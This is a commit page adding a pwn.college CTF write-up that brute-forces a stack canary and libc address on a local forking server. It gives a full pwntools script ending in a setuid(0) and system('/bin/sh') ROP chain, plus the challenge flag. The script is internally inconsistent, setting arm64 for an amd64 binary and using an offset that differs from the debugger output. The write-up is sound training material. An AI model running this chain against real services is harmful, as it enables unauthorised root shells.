Skip to content

Commit 09f4f05

Browse files
committed
Added (ROP) level 15 write-up
1 parent 154b072 commit 09f4f05

File tree

1 file changed

+209
-0
lines changed

1 file changed

+209
-0
lines changed
Lines changed: 209 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,209 @@
1+
---
2+
layout: post
3+
title: (ROP) level 15
4+
categories: pwn.college ROP
5+
date: 2025-07-15 13:22:22 +0300
6+
tags: ROP pwn.college stack-canary brute-force PIE ASLR ret2libc partial-overwrite kill-process
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
## Description
13+
> Perform ROP when the stack frame returns to libc!
14+
15+
16+
## Write-up
17+
**Connecting to the Challenge**
18+
19+
When you connect to the server at ```127.0.0.1``` on port ```1337``` using ```nc```, you'll notice that the program waits for input but gives no immediate output:
20+
```bash
21+
nc 127.0.0.1 1337
22+
ABCD
23+
Leaving!
24+
### Goodbye!
25+
```
26+
27+
**Protections in Place**
28+
The binary has multiple protections enabled:
29+
-**Stack** Canary
30+
-**ASLR** (Address Space Layout Randomization)
31+
32+
There’s **no direct leak**, so we need to **bypass all of them** in order to build a successful exploit.
33+
34+
```bash
35+
checksec babyrop_level15.1
36+
[*] '/home/k1k0/Desktop/program-security-dojo/return-oriented-programming/level-15-1/_0/babyrop_level15.1'
37+
Arch: amd64-64-little
38+
RELRO: Full RELRO
39+
Stack: Canary found
40+
NX: NX enabled
41+
PIE: PIE enabled
42+
SHSTK: Enabled
43+
IBT: Enabled
44+
Stripped: No
45+
```
46+
47+
**Brute-Forcing the Stack Canary**
48+
Since the program is running as a **forking server** and allows **unlimited reconnections**, we can **brute-force the stack canary one byte at a time**.
49+
50+
This method works because:
51+
- The canary is **at a fixed offset** from the input buffer.
52+
- The server forks a new process for each connection, so even if we crash one, the next attempt is fresh.
53+
- We can reuse the crash information to determine **which byte guess was correct**.
54+
55+
> This method is reliable as long as the process resets and the canary stays consistent between forks.
56+
{: .prompt-tip}
57+
58+
We’ll use `pwndbg` to determine this offset by:
59+
```plaintext
60+
Thread 3.1 "babyrop_level15" hit Breakpoint 1, 0x00005f1a465d53a6 in main ()
61+
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
62+
─────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────
63+
► 0x5f1a465d53a6 <main+544> call read@plt <read@plt>
64+
fd: 0 (socket:[920827124])
65+
buf: 0x7ffc2f72e1c0 —▸ 0x5f1a465d3040 ◂— 0x400000006
66+
nbytes: 0x1000
67+
───────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
68+
00:0000│ rsp 0x7ffc2f72e160 ◂— 0
69+
01:0008│-0b8 0x7ffc2f72e168 —▸ 0x7ffc2f72e328 —▸ 0x7ffc2f730154 ◂— 'SHELL=/run/dojo/bin/bash'
70+
02:0010│-0b0 0x7ffc2f72e170 —▸ 0x7ffc2f72e318 —▸ 0x7ffc2f730137 ◂— '/challenge/babyrop_level15.1'
71+
03:0018│-0a8 0x7ffc2f72e178 ◂— 0x100000000
72+
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
73+
► 0 0x5f1a465d53a6 main+544
74+
1 0x78ac5dda3083 __libc_start_main+243
75+
2 0x5f1a465d426e _start+46
76+
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
77+
pwndbg> i f
78+
Stack level 0, frame at 0x7ffc2f72e230:
79+
rip = 0x5f1a465d53a6 in main; saved rip = 0x78ac5dda3083
80+
called by frame at 0x7ffc2f72e300
81+
Arglist at 0x7ffc2f72e220, args:
82+
Locals at 0x7ffc2f72e220, Previous frame's sp is 0x7ffc2f72e230
83+
Saved registers:
84+
rbp at 0x7ffc2f72e220, rip at 0x7ffc2f72e228
85+
pwndbg> dist $rsi 0x7ffc2f72e228
86+
0x7ffc2f72e1c0->0x7ffc2f72e228 is 0x68 bytes (0xd words)
87+
pwndbg>
88+
```
89+
> This offset tells us exactly how many bytes to send before reaching the canary.
90+
{: .prompt-tip}
91+
92+
**Brute-Forcing the Frok to Bypass ASLR**
93+
94+
We already brute-forced the **stack canary**, and now we want to **find the full address of fork** on the stack to bypass **ASLR**.
95+
From the program behavior, we know:
96+
97+
- When the **correct return address** is in place, the program prints `r"(\d+):\ttransferring control"` — this gives us clear feedback during brute-forcing.
98+
99+
- ASLR randomizes the **base address** of the libc every run.
100+
- But if we know the address of `fork`, and we know the offset of `fork` , we can calculate the base address like this:
101+
```plaintext
102+
lib_base = ret_address - offset_of_fork
103+
```
104+
105+
> This technique allows us to defeat ASLR without a memory leak — just behavior-based brute force.
106+
{: .prompt-info}
107+
108+
109+
## Exploit
110+
```python
111+
#!/usr/bin/env python3
112+
113+
from pwn import *
114+
import re
115+
import os
116+
import signal
117+
118+
context(log_level="debug",arch="arm64")
119+
offset_canary = 0x58
120+
offset_fork = 0x23ff0
121+
122+
123+
def brute_force(typeA,start=b"",canary=b"",length=8):
124+
current = start
125+
while len(current) < length:
126+
for byte in range(0x0,0x100):
127+
try:
128+
with remote("127.0.0.1",1337) as p:
129+
if typeA == "canary":
130+
payload = b"A"*offset_canary + current + p8(byte)
131+
elif typeA == "ret":
132+
payload = b"A"*offset_canary + canary + b"B"*8 + current + p8(byte)
133+
else:
134+
log.warning(f"Error while build payload in {typeA}.")
135+
136+
p.send(payload)
137+
res = p.recvall(timeout=2)
138+
139+
if (typeA == "canary" and b"*** stack" not in res
140+
) or (typeA == "ret" and b"transferring control" in res ):
141+
current += p8(byte)
142+
143+
if typeA == "ret":
144+
strPid = r"(\d+):\ttransferring control"
145+
findIntPid = re.findall(strPid,res.decode("utf-8",errors="ignore"))
146+
if findIntPid and findIntPid[0].isdigit():
147+
try:
148+
pid = int(findIntPid[0])
149+
os.kill(pid,signal.SIGTERM)
150+
log.info(f"KILL PID {pid}.")
151+
except Exception as e:
152+
log.warning(f"Error in killing pid: {e}.")
153+
else:
154+
log.warning(f"PID Not Found.")
155+
break
156+
except Exception as e:
157+
log.warning(f"Error: {e}.")
158+
159+
return current
160+
161+
def payload(canary,ret):
162+
libase = u64(ret.ljust(8,b"\x00")) - offset_fork
163+
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
164+
lib.address = libase
165+
166+
rop = ROP(lib)
167+
168+
return flat(
169+
b"A"*offset_canary,
170+
canary,
171+
b"B"*8,
172+
173+
rop.ret.address,
174+
rop.rdi.address,
175+
0,
176+
lib.symbols["setuid"],
177+
178+
rop.ret.address,
179+
rop.rdi.address,
180+
next(lib.search(b"/bin/sh\x00")),
181+
lib.symbols["system"],
182+
)
183+
184+
def attack():
185+
canary = brute_force("canary",start=b"\x00")
186+
ret = brute_force("ret",start=b"\xf0",canary=canary,length=6)
187+
188+
log.success(f"Canary: {canary}.")
189+
log.success(f"Fork(): {ret}.")
190+
191+
with remote("127.0.0.1",1337) as p:
192+
try:
193+
p.send(payload(canary,ret))
194+
p.interactive()
195+
except Exception as e:
196+
log.warning(f"Fail send payload: {e}.")
197+
198+
def main():
199+
attack()
200+
201+
if __name__ == "__main__":
202+
main()
203+
```
204+
## Flag
205+
> Flag: ``` pwn.college{3QnRr5bCZGvxO9.APxAhJXCKPif-0VO2MDLwczN4czW}```
206+
207+
208+
209+

0 commit comments

Comments
 (0)